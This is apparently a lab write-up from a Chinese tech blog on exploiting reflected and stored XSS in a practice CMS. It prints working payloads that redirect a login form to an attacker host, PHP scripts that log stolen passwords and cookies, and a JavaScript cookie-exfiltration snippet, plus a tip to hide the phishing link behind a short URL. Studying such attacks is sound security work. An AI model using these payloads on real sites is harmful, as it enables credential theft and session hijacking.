CMS 文件管理系统:XSS 漏洞获取密码和 cookie
XSS 漏洞查找#
反射型 XSS#
反射型 XSS 的恶意代码不会存储在远程 web 应用程序中,而是会马上被触发。进入页面,使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。
直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。
存储型 XSS#
进入留言功能界面,输入 payload “”,这句代码会回显 cookie 信息。
编写完成后,完成提交。
上传成功后,进入管理员后台管理系统,可以看到一打开查看这个留言,XSS 攻击就被触发返回 cookie 信息,攻击成功。
利用 XSS 获取管理员账号#
攻击思路#
编写获取账号信息的 php 脚本,获取用户输入的用户名和密码,完成修改表单提交对象的攻击。攻击的步骤如下:
- 编写获取账号密码信息的 php 脚本 save.php,存放在攻击主机的网站目录下,通过 save.php 获取到的用户名和密码存放在 save.txt 中;
- 将页面中登录按钮提交表单的 action 地址改为攻击主机中 save.php 的地址;
- 使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。
生成并放置攻击脚本#
首先先查看一下网页的源码,看看登录界面输入的是哪些参数,分别是 username 和 password。
编写用于接收用户名和密码的 php 文件,将用户名和密码写入文件后跳转到登录界面完成工作。
<?php
$username = $_POST['username'];
$passward = $_POST['password'];
$result = fopen("save.txt","a");
fwrite($result, $username.'+++'.$passward."\n");
fclose($result);
echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
<input name='username' type='text' value='".$username."'/>
<input name='password' type='text' value='".$passward."'/>
</form>
<script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
?>
将获取用户名和密码的 php 文件放在攻击网站的目录下,此处靶场在虚拟机,将 php 文件放在主机的站点下。
修改表单提交地址#
接着检查页面中登录按钮提交表单的 action 地址,改为攻击主机中 save.php 的地址。
要做到这点需要使用反射型 XSS,利用 username 参数向它注入一段 JavaScript 脚本。
?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>
意到直接输入会乱码,以为此处将嵌入一个 input 标签,因此需要将这个标签的前后闭合。我选择使用 p 标签闭合后面的尖括号,这样 payload 脚本就准备好了。
?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234
生成短网址#
攻击测试#
模拟管理员登录系统,输入用户名和密码后进行登录。
由于攻击脚本保存完用户名和密码后会重定向到登录验证界面,且可以使用 post 发送用户名和密码,所以管理员可以正常登录。
可以看到攻击脚本已经获取用户名和密码了,使用 XSS 获取成功。
利用 XSS 获取 cookie#
攻击思路#
在文章管理系统的留言板上发表 JavaScript 语句,用来盗取管理员的 cookie。攻击的步骤如下:
- 编写盗取 cookie 的 php 脚本 cookie.php、js 脚本 xss.js。存放在攻击主机的网站主机的根目录下,通过 cookie.php 获取到的用户名和密码存放在 cookie.txt 中。
- 在文章管理系统的留言板上发表留言内容为 javascript 语句,当管理查看时触发 js。
生成并放置攻击脚本#
首先先编写保存 cookie 的 php 脚本。
<?php
$cookie = $_POST['cookie'];
$result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
fclose($result);
echo "Cookie Success ! ";
?>
然后编写获取 cookie 并发送的 JavaScript 脚本,脚本得到 cookie 之后将发送给 php 脚本进行保存。
function getCookie(){
var url= "http://192.168.9.97/cookie.php";
var data= 'cookie= '+ document.cookie;
var getck=new XMLHttpRequest();
getck.open('POST', url);
getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
getck.send(data);
}
getCookie();
利用存储型 XSS 漏洞#
接着提交留言,在留言板界面嵌入 JavaScript 脚本,远程包含我们放在自己站点下的获取 cookie 的脚本,包含后就会自动执行。
提交留言,系统提示留言成功。
攻击测试#
管理员打开留言管理界面,什么都看不到,但是已经将 cookie 泄露出去了。
在管理员界面按 F12 查看源码,可以看到网站已经将远程包含 js 文件的操作执行了。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)